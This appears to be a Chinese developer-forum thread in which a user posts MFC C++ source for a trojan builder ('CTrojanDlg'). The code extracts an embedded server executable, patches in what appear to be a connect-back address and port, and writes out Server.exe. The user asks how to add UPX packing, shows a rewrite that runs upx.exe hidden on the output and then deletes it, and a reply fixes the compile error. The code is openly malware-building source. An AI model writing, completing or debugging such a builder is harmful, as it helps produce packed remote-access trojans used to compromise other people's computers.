BOOL CTrojanDlg::server()
{
HRSRC finds=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),"EXE");//查找资源
DWORD size=SizeofResource(NULL,finds);//获得资源大小
HGLOBAL load=LoadResource(NULL,finds);//载入资源
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,size);//申请内存
CopyMemory((LPVOID)p,(LPVOID)LockResource(load),size);//拷贝资源
TCHAR a[100];
strcpy(a,m_edit.GetBuffer(m_edit.GetLength()));
CopyMemory((LPVOID)(p+0x003A4),(LPCVOID)a,15);
strcpy(a,m_edit1.GetBuffer(m_edit1.GetLength()));
CopyMemory((LPVOID)(p+0x003D6),(LPCVOID)a,5);
HANDLE greate1=CreateFile("Server.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
DWORD dws;
WriteFile(greate1,(LPVOID)p,size,&dws,NULL);//写入文件
CloseHandle(greate1);//关闭句柄
GlobalFree((HGLOBAL)p);//释放内存
return true;
}BOOL CTrojanDlg::UXP()
{
HRSRC finds=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE2),"EXE");//查找资源
DWORD size=SizeofResource(NULL,finds);//获得资源大小
HGLOBAL load=LoadResource(NULL,finds);//载入资源
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,size);//申请内存
CopyMemory((LPVOID)p,(LPVOID)LockResource(load),size);//拷贝资源
TCHAR a[100];
strcpy(a,m_edit.GetBuffer(m_edit.GetLength()));
CopyMemory((LPVOID)(p+0x003A4),(LPCVOID)a,15);
strcpy(a,m_edit1.GetBuffer(m_edit1.GetLength()));
CopyMemory((LPVOID)(p+0x003D6),(LPCVOID)a,5);
HANDLE greate1=CreateFile("Server.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
DWORD dws;
WriteFile(greate1,(LPVOID)p,size,&dws,NULL);//写入文件
CloseHandle(greate1);//关闭句柄
GlobalFree((HGLOBAL)p);//释放内存
return true;
}

------------------------------------------------大家可以看到这2个源码是一样的,
如何修改下面这个代码,就是UPX压缩模式啊
 就是让他生成出来就是加壳的,,,

解决方案 »

  1.   

    BOOL CTrojanDlg::UXP()
    {
    HRSRC hResInfo;
    HGLOBAL hResData;
    DWORD dwSize,dwWritten;
    LPBYTE p;
    HANDLE hFile;
        // 查找所需的资源
    hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_EXE2),"EXE");
    if(hResInfo == NULL) return;
        // 获得资源尺寸
    dwSize = SizeofResource(NULL,hResInfo);
        // 装载资源
    hResData = LoadResource(NULL,hResInfo);
    if(hResData == NULL) return;
    // 为数据分配空间
    p = (LPBYTE)GlobalAlloc(GPTR, dwSize); 
    if (p == NULL)     return;
    // 复制资源数据
    CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);

        char Path[256];
        GetCurrentDirectory(256, Path);
    strcat(Path,"\\upx.exe");
    DeleteFile(Path);
    hFile = CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
    if(hFile == NULL) return;

    WriteFile(hFile,(LPVOID)p,dwSize,&dwWritten,NULL);
    CloseHandle(hFile);
    ShellExecute(this->m_hWnd,"open",Path,"NB_Server.exe","",SW_HIDE);

    BOOL del;
    do 
    {
    del = DeleteFile(Path);
    } while(!del);
    }

    --------------------------
    这个是我重写的 不过出错了
    这里是出错信息
    -----------------------
    C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.cpp(237) : error C2561: 'UXP' : function must return a value
            C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.h(18) : see declaration of 'UXP'
    C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.cpp(242) : error C2561: 'UXP' : function must return a value
            C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.h(18) : see declaration of 'UXP'
    C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.cpp(245) : error C2561: 'UXP' : function must return a value
            C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.h(18) : see declaration of 'UXP'
    C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.cpp(254) : error C2561: 'UXP' : function must return a value
            C:\Documents and Settings\Administrator\桌面\复件 Trojan\TrojanDlg.h(18) : see declaration of 'UXP'
    Error executing cl.exe.Trojan.exe - 4 error(s), 0 warning(s)
      

  2.   

    function must return a value 
    函数必须有返回值。
    加个return TRUE;
      

  3.   

    没看懂,这个东西看来得多看看MFC了